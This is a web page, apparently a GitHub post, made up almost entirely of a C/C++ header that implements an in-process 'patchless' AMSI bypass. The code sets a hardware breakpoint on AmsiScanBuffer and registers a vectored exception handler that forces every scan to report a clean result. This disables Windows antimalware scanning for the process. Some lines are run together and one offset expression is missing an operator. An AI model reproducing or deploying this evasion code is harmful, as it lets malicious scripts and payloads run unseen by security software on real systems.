In-Process Patchless AMSI Bypass

April 17, 2022 ยท View on GitHub

#ifndef PATCHLESS_AMSI_H #define PATCHLESS_AMSI_H

#include <windows.h>

static const int AMSI_RESULT_CLEAN = 0;

PVOID g_amsiScanBufferPtr = nullptr;

unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) { unsigned long long mask = (1UL << bits) - 1UL; dw = (dw & ~(mask << lowBit)) | (newValue << lowBit); return dw; }

void clearBreakpoint(CONTEXT& ctx, int index) {

 //Clear the releveant hardware breakpoint
 switch (index) {
     case 0:
         ctx.Dr0 = 0;
         break;
     case 1:
         ctx.Dr1 = 0;
         break;
     case 2:
         ctx.Dr2 = 0;
         break;
     case 3:
         ctx.Dr3 = 0;
         break;
 }

 //Clear DRx HBP to disable for local mode
 ctx.Dr7 = setBits(ctx.Dr7, (index * 2), 1, 0);
 ctx.Dr6 = 0;
 ctx.EFlags = 0;

}

void enableBreakpoint(CONTEXT& ctx, PVOID address, int index) {

  switch (index) {
      case 0:
          ctx.Dr0 = (ULONG_PTR)address;
          break;
      case 1:
          ctx.Dr1 = (ULONG_PTR)address;
          break;
      case 2:
          ctx.Dr2 = (ULONG_PTR)address;
          break;
      case 3:
          ctx.Dr3 = (ULONG_PTR)address;
          break;
  }

  //Set bits 16-31 as 0, which sets
  //DR0-DR3 HBP's for execute HBP
  ctx.Dr7 = setBits(ctx.Dr7, 16, 16, 0);

  //Set DRx HBP as enabled for local mode
  ctx.Dr7 = setBits(ctx.Dr7, (index * 2), 1, 1);
  ctx.Dr6 = 0;

}

static void clearHardwareBreakpoint(CONTEXT* ctx, int index) {

//Clear the releveant hardware breakpoint
   switch (index) {
       case 0:
           ctx->Dr0 = 0;
           break;
       case 1:
           ctx->Dr1 = 0;
           break;
       case 2:
           ctx->Dr2 = 0;
           break;
       case 3:
           ctx->Dr3 = 0;
           break;
   }

   //Clear DRx HBP to disable for local mode
   ctx->Dr7 = setBits(ctx->Dr7, (index * 2), 1, 0);
   ctx->Dr6 = 0;
   ctx->EFlags = 0;

}

static ULONG_PTR getArg(CONTEXT* ctx, int index){

#ifdef __x86_64 switch(index){ case 0: return ctx->Rcx; case 1: return ctx->Rdx; case 2: return ctx->R8; case 3: return ctx->R9; default: return (ULONG_PTR)(ctx->Rsp+((index+1)8)); } #else return (DWORD_PTR)(ctx->Esp+(index+14)); #endif

}

static ULONG_PTR getReturnAddress(CONTEXT* ctx){ #ifdef __x86_64 return (ULONG_PTR)ctx->Rsp; #else return (ULONG_PTR)ctx->Esp; #endif }

static void setResult(CONTEXT* ctx, ULONG_PTR result){ #ifdef __x86_64 ctx->Rax = result; #else ctx->Eax = result; #endif }

static void adjustStackPointer(CONTEXT* ctx, int amount){ #ifdef __x86_64 ctx->Rsp += amount; #else ctx->Esp += amount; #endif }

static void setIP(CONTEXT* ctx, ULONG_PTR newIP){ #ifdef __x86_64 ctx->Rip = newIP; #else ctx->Eip = newIP; #endif }

LONG WINAPI exceptionHandler(PEXCEPTION_POINTERS exceptions){

if(exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && exceptions->ExceptionRecord->ExceptionAddress == g_amsiScanBufferPtr){

	//Get the return address by reading the value currently stored at the stack pointer 
    ULONG_PTR returnAddress = getReturnAddress(exceptions->ContextRecord);
    
	//Get the address of the 5th argument, which is an int* and set it to a clean result
	int* scanResult = (int*)getArg(exceptions->ContextRecord, 5);
    *scanResult = AMSI_RESULT_CLEAN;

	    //update the current instruction pointer to the caller of AmsiScanBuffer 
    setIP(exceptions->ContextRecord, returnAddress);
	
	    //We need to adjust the stack pointer accordinly too so that we simulate a ret instruction
    adjustStackPointer(exceptions->ContextRecord, sizeof(PVOID));
	
    	//Set the eax/rax register to 0 (S_OK) indicatring to the caller that AmsiScanBuffer finished successfully 
    setResult(exceptions->ContextRecord, S_OK);

	    //Clear the hardware breakpoint, since we are now done with it
    clearHardwareBreakpoint(exceptions->ContextRecord, 0);

    return EXCEPTION_CONTINUE_EXECUTION;

}else{
    return EXCEPTION_CONTINUE_SEARCH;
}

}

HANDLE setupAMSIBypass(){

CONTEXT threadCtx;
memset(&threadCtx, 0, sizeof(threadCtx));
threadCtx.ContextFlags = CONTEXT_ALL;

  //Load amsi.dll if it hasn't be loaded alreay.
if(g_amsiScanBufferPtr == nullptr){
    HMODULE amsi = GetModuleHandleA("amsi.dll");

    if(amsi == nullptr){
        amsi = LoadLibraryA("amsi.dll");
    }

    if(amsi != nullptr){
        g_amsiScanBufferPtr = (PVOID)GetProcAddress(amsi, "AmsiScanBuffer");
    }else{
        return nullptr;
    }

    if(g_amsiScanBufferPtr == nullptr)
        return nullptr;
}

  //add our vectored exception handle
HANDLE hExHandler = AddVectoredExceptionHandler(1, exceptionHandler);

  //Set a hardware breakpoint on AmsiScanBuffer function
if(GetThreadContext((HANDLE)-2, &threadCtx)){
    enableBreakpoint(threadCtx, g_amsiScanBufferPtr, 0);
    SetThreadContext((HANDLE)-2, &threadCtx);
}

return hExHandler;

}

#endif // PATCHLESS_AMSI_H